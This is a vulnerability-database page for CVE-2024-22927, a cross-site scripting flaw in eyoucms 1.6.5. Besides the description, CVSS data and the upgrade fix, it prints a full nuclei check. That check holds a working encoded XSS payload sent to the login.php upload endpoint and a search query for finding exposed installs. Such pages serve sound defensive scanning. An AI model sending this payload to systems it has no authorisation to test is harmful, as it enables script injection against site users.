HexBrain

Browse / CVEs / CVE-2024-22927

CVE-2024-22927· eyoucms / eyoucms· CWE-79

eyoucms v.1.6.5 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1%likelihood of exploitation, next 30 days
64%of all CVEs are less likely
Readycheck to confirm it

Cross Site Scripting (XSS) vulnerability in the func parameter in eyoucms v.1.6.5 allows a remote attacker to run arbitrary code via crafted URL.

Impact

Allows attackers to execute malicious scripts on the victim's browser.

Fix

Upgrade eyoucms to version 1.6.6 or later to fix the XSS vulnerability.

How to confirm it

Send: POST {{BaseURL}}/login.php?a=get_upload_list&c=Uploadimgnew&info=eyJudW0iOiIxXCI%2BPFNjUmlQdCA%2BYWxlcnQoZG9jdW1lbnQuZG9tYWluKTwvU2NSaVB0PiIsInNpemUiOiIyM…
Positive when: contains "name=\"num\" value=\"1\"><ScRiPt >alert(document.domain)</ScRiP…" and "id=\"eytime\"" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2024-22927 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2024-22927

info:
  name: eyoucms v.1.6.5 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Cross Site Scripting (XSS) vulnerability in the func parameter in eyoucms v.1.6.5 allows a remote attacker to run arbitrary code via crafted URL.
  impact: |
    Allows attackers to execute malicious scripts on the victim's browser.
  remediation: |
    Upgrade eyoucms to version 1.6.6 or later to fix the XSS vulnerability.
  reference:
    - https://github.com/weng-xianhu/eyoucms/issues/57
    - https://nvd.nist.gov/vuln/detail/CVE-2024-22927
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-22927
    cwe-id: CWE-79
    epss-score: 0.01019
    epss-percentile: 0.63654
    cpe: cpe:2.3:a:eyoucms:eyoucms:1.6.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: eyoucms
    product: eyoucms
    fofa-query: "title=\"eyoucms\""
  tags: cve2024,cve,eyoucms,cms,xss,vuln,vkev

http:
  - method: POST
    path:
      - "{{BaseURL}}/login.php?a=get_upload_list&c=Uploadimgnew&info=eyJudW0iOiIxXCI%2BPFNjUmlQdCA%2BYWxlcnQoZG9jdW1lbnQuZG9tYWluKTwvU2NSaVB0PiIsInNpemUiOiIyMDk3MTUyIiwiaW5wdXQiOiIiLCJmdW5jIjoiaGVhZF9waWNfY2FsbF9iYWNrIiwicGF0aCI6ImFsbGltZyIsImlzX3dhdGVyIjoiMSIsImFsZyI6IkhTMjU2In0&lang=cn&m=admin&unneed_syn="

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'name="num" value="1"><ScRiPt >alert(document.domain)</ScRiPt>'
          - 'id="eytime"'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from